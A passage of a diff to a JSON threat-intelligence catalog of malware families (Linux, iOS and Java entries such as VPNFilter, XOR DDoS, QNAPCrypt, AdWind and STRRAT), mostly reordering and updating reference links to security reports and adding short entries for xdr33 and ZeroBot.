"https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", - "https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html", - "https://twitter.com/IntezerLabs/status/1338480158249013250", - "https://cujo.com/iot-malware-journals-prometei-linux/" + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [], "type": [] @@ -5497,8 +5992,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.pupy", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", - "https://github.com/n1nj4sec/pupy" + "https://github.com/n1nj4sec/pupy", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf" ], "synonyms": [], "type": [] @@ -5511,18 +6006,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.qnapcrypt", - "https://www.intezer.com/blog-russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/", "https://www.intezer.com/blog-seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/", - "https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt", "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/", - "https://www.ibm.com/downloads/cas/Z81AVOY7", - "https://www.bleepingcomputer.com/news/security/qnap-warns-of-ech0raix-ransomware-attacks-roon-server-zero-day/", - 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"https://bin.re/blog/the-dga-of-qsnatch/", - "https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf", "https://www.trendmicro.com/en_us/research/21/l/the-evolution-of-iot-linux-malware-based-on-mitre-att&ck-ttps.html", - "https://www.ncsc.gov.uk/files/NCSC%20CISA%20Alert%20-QNAP%20NAS%20Devices.pdf", "https://www.kyberturvallisuuskeskus.fi/en/news/qsnatch-malware-designed-qnap-nas-devices", - "https://us-cert.cisa.gov/ncas/alerts/aa20-209a" + "https://us-cert.cisa.gov/ncas/alerts/aa20-209a", + "https://www.ncsc.gov.uk/files/NCSC%20CISA%20Alert%20-QNAP%20NAS%20Devices.pdf", + "https://bin.re/blog/the-dga-of-qsnatch/", + "https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf" ], "synonyms": [], "type": [] @@ -5555,7 +6050,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.quietexit", - "https://www.mandiant.com/resources/unc3524-eye-spy-email" + "https://www.mandiant.com/resources/unc3524-eye-spy-email", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023" ], "synonyms": [], "type": [] @@ -5582,6 +6078,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ragnarlocker", "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", "https://twitter.com/malwrhunterteam/status/1475568201673105409" ], "synonyms": [], @@ -5609,23 +6106,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ransomexx", - "https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://www.ctir.gov.br/arquivos/alertas/2020/alerta_2020_03_ataques_de_ransomware.pdf", - "https://www.youtube.com/watch?v=qxPXxWMI2i4", - "https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://gustavopalazolo.medium.com/ransomexx-an%C3%A1lise-do-ransomware-utilizado-no-ataque-ao-stj-918001ec8195", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - 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"https://intezer.com/blog-linux-rekoobe-operating-with-new-undetected-malware-samples/" + "https://twitter.com/billyleonard/status/1458531997576572929", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt" ], "synonyms": [], "type": [] @@ -5743,8 +6244,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.reptile", "https://github.com/f0rb1dd3n/Reptile", - "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", - "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf" + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf" ], "synonyms": [], "type": [] @@ -5757,57 +6258,58 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.revil", - "https://github.com/f0wl/REconfig-linux", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - 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"https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://blog.talosintelligence.com/2019/05/one-year-later-vpnfilter-catastrophe.html", - "https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-054a", + "https://blog.talosintelligence.com/2018/05/VPNFilter.html", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://i.blackhat.com/USA-19/Thursday/us-19-Doerr-The-Enemy-Within-Modern-Supply-Chain-Attacks.pdf", + "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "https://blog.trendmicro.com/trendlabs-security-intelligence/vpnfilter-affected-devices-still-riddled-with-19-vulnerabilities", + "https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/", + "https://blog.talosintelligence.com/2019/05/one-year-later-vpnfilter-catastrophe.html", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter", "https://www.symantec.com/blogs/threat-intelligence/vpnfilter-iot-malware", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-054A%20New%20Sandworm%20Malware%20Cyclops%20Blink%20Replaces%20VPN%20Filter.pdf", "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", - "https://www.trendmicro.com/en_us/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html" + "https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "895d769e-b288-4977-a4e1-7d64eb134bf9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "5ad30da2-2645-4893-acd9-3f8e0fbb5500", "value": "VPNFilter" }, @@ -6553,27 +7057,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmail", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c", - "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf", "https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmail.html", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", "https://blog.talosintelligence.com/2020/08/attribution-puzzle.html", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf" + "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "59266c02-e3c8-47a6-b00c-bbb50c8975e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "93ffafbd-a8af-4164-b3ab-9b21e6d09232", "value": "WellMail" }, @@ -6582,24 +7077,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmess", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://us-cert.cisa.gov/ncas/alerts/aa21-116a", - "https://services.global.ntt/en-us/insights/blog/the-layered-infrastructure-operated-by-apt29", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html", - "https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html", - "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html", - "https://www.botconf.eu/wp-content/uploads/2018/12/2018-Y-Ishikawa-S-Nagano-Lets-go-with-a-Go-RAT-_final.pdf", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - 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"https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", "https://attack.mitre.org/groups/G0096", - "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a" + "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a", + "https://blog.exatrack.com/melofee/", + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", + "https://www.secureworks.com/research/threat-profiles/bronze-atlas" ], "synonyms": [], "type": [] @@ -6628,8 +7138,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.wirenet", - "http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html", - "https://news.drweb.com/show/?i=2679&lng=en&c=14" + "https://news.drweb.com/show/?i=2679&lng=en&c=14", + "http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html" ], "synonyms": [], "type": [] @@ -6642,14 +7152,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xagent", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", - "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", - "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf", - "https://www.secureworks.com/research/threat-profiles/iron-twilight", "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", "https://unit42.paloaltonetworks.com/a-look-into-fysbis-sofacys-linux-backdoor/", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf", + "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/", + "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", + "https://www.secureworks.com/research/threat-profiles/iron-twilight" ], "synonyms": [ "chopstick", @@ -6666,8 +7176,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xanthe", - "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", "https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/", + "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", "https://blog.talosintelligence.com/2020/12/xanthe-docker-aware-miner.html" ], "synonyms": [], @@ -6694,46 +7204,50 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xbash", - "https://unit42.paloaltonetworks.com/atoms/agedlibra/", - "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/", + "https://unit42.paloaltonetworks.com/atoms/agedlibra/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "10c981cc-4ef1-4719-8ed7-c5e4c2f6c7a3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "ee54fc1e-c574-4836-8cdb-992ac38cef32", "value": "Xbash" }, + { + "description": "According to 360 netlab, this backdoor was derived from the leaked CIA Hive project. It propagates via a vulnerability in F5 and communicates using SSL with a forged Kaspersky certificate.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xdr33", + "https://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c7b1cc91-7464-436e-ac40-3b06c98400a5", + "value": "xdr33" + }, { "description": "Linux DDoS C&C Malware", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xorddos", - "https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf", "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", - "https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/", - "https://www.lacework.com/groundhog-botnet-rapidly-infecting-cloud/", - "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", - "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/", "https://en.wikipedia.org/wiki/Xor_DDoS", - "https://www.microsoft.com/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/", - "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-a-string-array-in-xor-ddos/", - "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", "https://bartblaze.blogspot.com/2015/09/notes-on-linuxxorddos.html", - "https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html", - "http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html", "https://blog.checkpoint.com/wp-content/uploads/2015/10/sb-report-threat-intelligence-groundhog.pdf", - "https://blog.nsfocusglobal.com/threats/vulnerability-analysis/analysis-report-of-the-xorddos-malware-family/" + "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-a-string-array-in-xor-ddos/", + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/", + "https://blog.nsfocusglobal.com/threats/vulnerability-analysis/analysis-report-of-the-xorddos-malware-family/", + "https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/", + "https://www.lacework.com/groundhog-botnet-rapidly-infecting-cloud/", + "https://www.microsoft.com/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/", + "http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html", + "https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html", + "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775" ], "synonyms": [ "XORDDOS" @@ -6743,6 +7257,21 @@ "uuid": "7f9df618-4bd1-44a1-ad88-e5930373aac4", "value": "XOR DDoS" }, + { + "description": "ZeroBot is a Go-based botnet that spreads primarily through IoT and web application vulnerabilities. It is offered as malware as a service (MaaS) and infrastructure overlaps with DDoS-for-hire services seized by the FBI in December 2022.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.zerobot", + "https://www.microsoft.com/en-us/security/blog/2022/12/21/microsoft-research-uncovers-new-zerobot-capabilities/" + ], + "synonyms": [ + "ZeroStresser" + ], + "type": [] + }, + "uuid": "458c583b-4353-4104-bee8-9e68cb77f151", + "value": "ZeroBot" + }, { "description": "", "meta": { @@ -6832,9 +7361,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ios.lightspy", + "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/", - "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf", - "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/" + "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf" ], "synonyms": [], "type": [] @@ -6862,9 +7391,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ios.poisoncarp", - "https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/", "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/" + "https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/" ], "synonyms": [ "INSOMNIA" @@ -6919,21 +7448,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.adwind", - 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"https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://citizenlab.ca/2015/12/packrat-report/", + "https://blogs.seqrite.com/evolution-of-jrat-java-malware/", "http://malware-traffic-analysis.net/2017/07/04/index.html", - "https://research.checkpoint.com/malware-against-the-c-monoculture/", - "https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html", "https://marcoramilli.com/2018/08/20/interesting-hidden-threat-since-years/", - "https://blogs.seqrite.com/evolution-of-jrat-java-malware/" + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://gist.github.com/herrcore/8336975475e88f9bc539d94000412885" ], "synonyms": [ "AlienSpy", @@ -6945,15 +7474,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "ab4694d6-7043-41f2-b328-d93bec9c1b22", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8eb9d4aa-257a-45eb-8c65-95c18500171c", "value": "AdWind" }, @@ -6967,15 +7487,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d08201b8-9774-41a1-abdb-c7f3828139b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "90cb8ee6-52e6-4d8d-8f45-f04b9aec1f6c", "value": "Adzok" }, @@ -6986,21 +7497,12 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.banload", "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", "https://colin.guru/index.php?title=Advanced_Banload_Analysis", - "https://www.welivesecurity.com/wp-content/uploads/2015/05/CPL-Malware-in-Brasil-zx02m.pdf", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AWin32%2FBanload" + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AWin32%2FBanload", + "https://www.welivesecurity.com/wp-content/uploads/2015/05/CPL-Malware-in-Brasil-zx02m.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d279bc1c-baa6-49aa-ab1b-7d012ae8db4e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "30a61fa9-4bd1-427d-9382-ff7c33bd7043", "value": "Banload" }, @@ -7091,8 +7593,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.javalocker", - "https://dissectingmalwa.re/why-would-you-even-bother-javalocker.html", - "https://id-ransomware.blogspot.com/2020/03/javalocker-ransomware.html" + "https://id-ransomware.blogspot.com/2020/03/javalocker-ransomware.html", + "https://dissectingmalwa.re/why-would-you-even-bother-javalocker.html" ], "synonyms": [ "JavaEncrypt Ransomware" @@ -7107,11 +7609,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.jrat", - "https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/", - "https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/", - "https://www.eff.org/files/2018/01/29/operation-manul.pdf", "https://research.checkpoint.com/malware-against-the-c-monoculture/", - "https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered" + "https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered", + "https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/", + "https://www.eff.org/files/2018/01/29/operation-manul.pdf" ], "synonyms": [ "Jacksbot" @@ -7131,15 +7633,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "8abd10df-2c31-4895-8ec1-270603078f47", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "ff24997d-1f17-4f00-b9b8-b3392146540f", "value": "jSpy" }, @@ -7148,8 +7641,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.octopus_scanner", - "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain", - "http://blog.nsfocus.net/github-ocs-0605/" + "http://blog.nsfocus.net/github-ocs-0605/", + "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain" ], "synonyms": [], "type": [] @@ -7175,13 +7668,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.qealler", + "https://www.herbiez.com/?p=1352", "https://github.com/jeFF0Falltrades/Malware-Writeups/blob/master/Qealler/Qealler-Unloaded.pdf", + "https://www.securityinbits.com/malware-analysis/similarity-between-qealler-pyrogenic-variants-part-0x3/", + "https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer", "https://www.securityinbits.com/malware-analysis/unpacking/unpacking-pyrogenic-qealler-using-java-agent-part-0x2/", "https://www.cyberark.com/threat-research-blog/qealler-the-silent-java-credential-thief/", - "https://www.securityinbits.com/malware-analysis/similarity-between-qealler-pyrogenic-variants-part-0x3/", - "https://www.securityinbits.com/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/", - "https://www.herbiez.com/?p=1352", - "https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer" + "https://www.securityinbits.com/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/" ], "synonyms": [ "Pyrogenic Infostealer" @@ -7198,23 +7691,14 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.qrat", "https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT--Remote-Access-as-a-Service/", "https://www.digitrustgroup.com/java-rat-qrat/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-qnode-rat-downloader-distributed-as-trump-video-scandal/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rats-and-spam-the-nodejs-qrat/" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rats-and-spam-the-nodejs-qrat/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-qnode-rat-downloader-distributed-as-trump-video-scandal/" ], "synonyms": [ "Quaverse RAT" ], "type": [] }, - "related": [ - { - "dest-uuid": "c3a784ee-cef7-4604-a5ba-ec7b193a5152", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "ef385825-bfa1-4e8c-b368-522db78cf1bd", "value": "QRat" }, @@ -7223,8 +7707,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty", - "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", - "https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/" + "https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/" ], "synonyms": [], "type": [] @@ -7250,18 +7734,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.strrat", - "https://twitter.com/MsftSecIntel/status/1395138347601854465", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", - "https://www.gdatasoftware.com/blog/strrat-crimson", - "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", - "https://www.jaiminton.com/reverse-engineering/strrat", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain", - "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", "https://forensicitguy.github.io/strrat-attached-to-msi/", - "https://www.jaiminton.com/reverse-engineering/strrat#", - "https://isc.sans.edu/diary/rss/27798", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", + "https://any.run/cybersecurity-blog/strrat-malware-analysis-of-a-jar-archive/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain", "https://www.fortinet.com/blog/threat-research/new-strrat-rat-phishing-campaign", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf" + "https://www.jaiminton.com/reverse-engineering/strrat", + "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", + "https://resources.securityscorecard.com/cybersecurity/analyze-java-malware-strrat#page=1", + "https://www.gdatasoftware.com/blog/strrat-crimson", + "https://isc.sans.edu/diary/rss/27798", + "https://www.jaiminton.com/reverse-engineering/strrat#", + "https://twitter.com/MsftSecIntel/status/1395138347601854465" ], "synonyms": [], "type": [] @@ -7302,8 +7788,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.airbreak", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", 